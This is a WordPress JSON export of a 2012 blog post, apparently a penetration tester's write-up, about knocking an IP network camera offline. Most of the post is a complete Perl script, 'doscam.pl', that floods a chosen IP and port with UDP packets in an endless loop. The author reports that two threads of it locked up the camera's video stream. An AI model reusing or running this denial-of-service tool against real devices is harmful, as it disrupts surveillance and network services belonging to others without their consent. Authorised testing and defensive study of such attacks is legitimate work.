{"id":762,"date":"2012-07-05T23:23:25","date_gmt":"2012-07-05T22:23:25","guid":{"rendered":"http:\/\/www.phillips321.co.uk\/?p=762"},"modified":"2012-07-05T23:23:25","modified_gmt":"2012-07-05T22:23:25","slug":"dos-against-ip-camera-using-udp","status":"publish","type":"post","link":"https:\/\/www.phillips321.co.uk\/2012\/07\/05\/dos-against-ip-camera-using-udp\/","title":{"rendered":"DoS against IP camera using UDP"},"content":{"rendered":"

So on a test I wanted to test the possibility of performing a DoS against an IP based network camera to see of the possibility of disrupting it’s video stream. Well the idea was to hammer the device with UDP packets.<\/p>\n

A quick look around and I found this code here.<\/a> I decided to take a copy of the code as the base for a quick perl script.<\/p>\n

A quick munge and this is what I ended with:<\/p>\n

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<\/div><\/td>
#!\/usr\/bin\/perl<\/span>
\nuse<\/span> Socket;<\/span>
\n$ARGC<\/span>=@<\/span>ARGV<\/span>;<\/span>
\nif<\/span> (<\/span>$ARGC<\/span> !=<\/span>2<\/span>)<\/span> {<\/span>
\n printf<\/span><\/a> "doscam.pl by phillips321.co.uk\\n<\/span>"<\/span>;<\/span>
\n printf<\/span><\/a> "$0 <ip> <port>\\n<\/span>"<\/span>;<\/span>
\n exit<\/span><\/a>(<\/span>1<\/span>)<\/span>;<\/span>
\n}<\/span>
\nmy<\/span> (<\/span>$ip<\/span>,<\/span>$port<\/span>,<\/span>$size<\/span>)<\/span>;<\/span>
\n$ip<\/span>=<\/span>$ARGV<\/span>[<\/span>0<\/span>]<\/span>;<\/span>
\n$port<\/span>=<\/span>$ARGV<\/span>[<\/span>1<\/span>]<\/span>;<\/span>
\nsocket<\/span><\/a>(<\/span>crazy,<\/span> PF_INET,<\/span> SOCK_DGRAM,<\/span> 17<\/span>)<\/span>;<\/span>
\n$iaddr<\/span> =<\/span> inet_aton(<\/span>"$ip"<\/span>)<\/span>;<\/span>
\nprintf<\/span><\/a> "Flooding UDP port "<\/span> .<\/span> $port<\/span> .<\/span> " on "<\/span> .<\/span> $ip<\/span> .<\/span> "\\n<\/span>"<\/span>;<\/span>
\nprintf<\/span><\/a> "end with Ctrl-C\\n<\/span>"<\/span>;<\/span>
\nfor<\/span> (<\/span>;;<\/span>)<\/span> {<\/span>
\n $size<\/span>=<\/span>$rand<\/span> x $rand<\/span> x $rand<\/span>;<\/span>
\n send<\/span><\/a>(<\/span>crazy,<\/span> 0<\/span>,<\/span> $size<\/span>,<\/span> sockaddr_in(<\/span>$port<\/span>,<\/span> $iaddr<\/span>)<\/span>)<\/span>;<\/span>
\n}<\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

Running one thread of this managed to slow the rate at which the stream was been sent, a second thread caused the video stream to lockup entirely. Result!<\/p>\n","protected":false},"excerpt":{"rendered":"

So on a test I wanted to test the possibility of performing a DoS against an IP based network camera to see of the possibility of disrupting it’s video stream. Well the idea was to hammer the device with UDP packets. A quick look around and I found this code here. I decided to take […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[3,4],"tags":[297,298,295,296,250,278],"_links":{"self":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/762"}],"collection":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/comments?post=762"}],"version-history":[{"count":4,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/762\/revisions"}],"predecessor-version":[{"id":767,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/762\/revisions\/767"}],"wp:attachment":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/media?parent=762"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/categories?post=762"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/tags?post=762"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}